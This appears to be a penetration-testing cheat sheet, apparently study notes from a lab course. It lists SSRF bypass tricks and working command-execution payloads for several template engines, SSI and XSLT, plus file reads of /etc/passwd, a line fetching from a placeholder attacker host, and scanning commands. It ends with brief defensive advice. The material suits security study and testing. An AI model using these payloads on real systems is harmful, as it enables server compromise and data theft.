Server Side Vulnerabilities

1. Server-Side Request Forgery (SSRF)

Exploitation:

• Internal port scanning: Attempting to access internal services and ports on the server's localhost.

• Accessing restricted endpoints: Bypassing access controls to reach sensitive internal resources.

Common Protocols for SSRF:

• http://127.0.0.1/file:///etc/passwd → Access local files.

• gopher://dateserver.htb:80/... → Use the gopher protocol to send arbitrary requests.

• dict://127.0.0.1:11211/info → Query dictionary services.

• ftp://127.0.0.1:21 → Access FTP servers.

• file:// → Access local files.

• php:// → PHP stream wrappers (highly dangerous).

• data:// → Data encoding.

• https:// → Accessing internal HTTPS servers.

Advanced SSRF Bypass Techniques:

• URL Encoding: http://127.0.0.1%3A80

• Double Encoding: http://127.0.0.1%253A80

• Alternative IP Representations:

  • Octal: http://0177.0.0.1

  • Hexadecimal: http://0x7F.0x00.0x00.0x01

  • IPv6 Abuse: http://[::1]:80

• DNS Rebinding: Change IP resolutions dynamically.

• Varying Ports: Bypass filters using different ports.

2. Server-Side Template Injection (SSTI)

Identifying SSTI:

• Test String: {{<%[%'"}}\. → Identify templating engine.

Exploiting SSTI by Templating Engine:

Jinja2 (Python)

{{config.items()[4][1].__class__.__init__.__globals__['os'].popen('id').read()}}

Twig (PHP)

{{system('id')}}

Freemarker (Java)

${new java.lang.ProcessBuilder("id").start()}

Velocity (Java)

#set($e="e")#set($x=$e.class.forName("java.lang.Runtime").getRuntime().exec("id"))$x

Smarty (PHP)

{${system('id')}}

Handlebars (JavaScript)

{{this.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()}}

Blind SSTI:

• Timing-based detection:

  {{ ''.__class__.__mro__[1].__subclasses__() }}

• Out-of-Band SSTI Detection (e.g., Burp Collaborator, interacting with external DNS services)

3. Server-Side Includes (SSI) Injection

SSI Directives:

• Print environment variables: <!--#echo var="HTTP_USER_AGENT" -->

• Execute commands: <!--#exec cmd="id" -->

• Include files: <!--#include file="/etc/passwd" -->

• Modify error messages: <!--#config errmsg="Hacked!" -->

4. XSLT Injection

Common XSLT Elements:

• <xsl:template> → Defines an XSL template.

• <xsl:value-of> → Extracts XML values.

• <xsl:for-each> → Loops through XML nodes.

• <xsl:if> → Tests conditions.

XSLT Injection Payloads:

Information Disclosure:

<xsl:value-of select="system-property('xsl:version')" />

Local File Inclusion (LFI):

<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />

Remote Code Execution (RCE):

<xsl:value-of select="php:function('system','id')" />

Advanced XSLT Exploits:

• XXE via XSLT: Using document('http://attacker.com/payload.xml') to retrieve malicious data.

• Network SSRF via XSLT: Fetching internal/external resources.

5. Fuzzing & Reconnaissance Tools

Fuzzing with wfuzz:

wfuzz -c -z file,wordlist.txt http://target.com/FUZZ

Port Scanning:

nmap -p 1-65535 target.com

Web Server Scanning:

nikto -h target.com

Directory Bruteforce:

gobuster dir -u target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

6. Defensive Measures

• Input Validation: Whitelist allowed values.

• Output Encoding: Prevent reflected output attacks.

• Sandboxing & Isolation: Reduce attack surface.

• Web Application Firewalls (WAFs): Filter malicious traffic.

• Least Privilege Principles: Restrict server permissions.

• Content Security Policy (CSP): Prevent SSRF & SSTI exploitation.

• Error Handling Best Practices:

  • Suppress detailed error messages.

  • Log errors securely without exposing them to users.

7. API Security Considerations

• Prevent SSRF via Metadata Endpoints (e.g., cloud environments like AWS/GCP metadata service).

• Restrict Templating Engine Usage to avoid unnecessary exposure.

• Proper Authentication & Authorization checks for sensitive actions.

8. Modern Web Architecture & Vulnerabilities

• Microservices & Serverless Architectures:

  • API Gateway-level validation.

  • Function-level permissions to minimize attack impact.

• Container Security:

  • Limit exposed ports.

  • Implement network segmentation.

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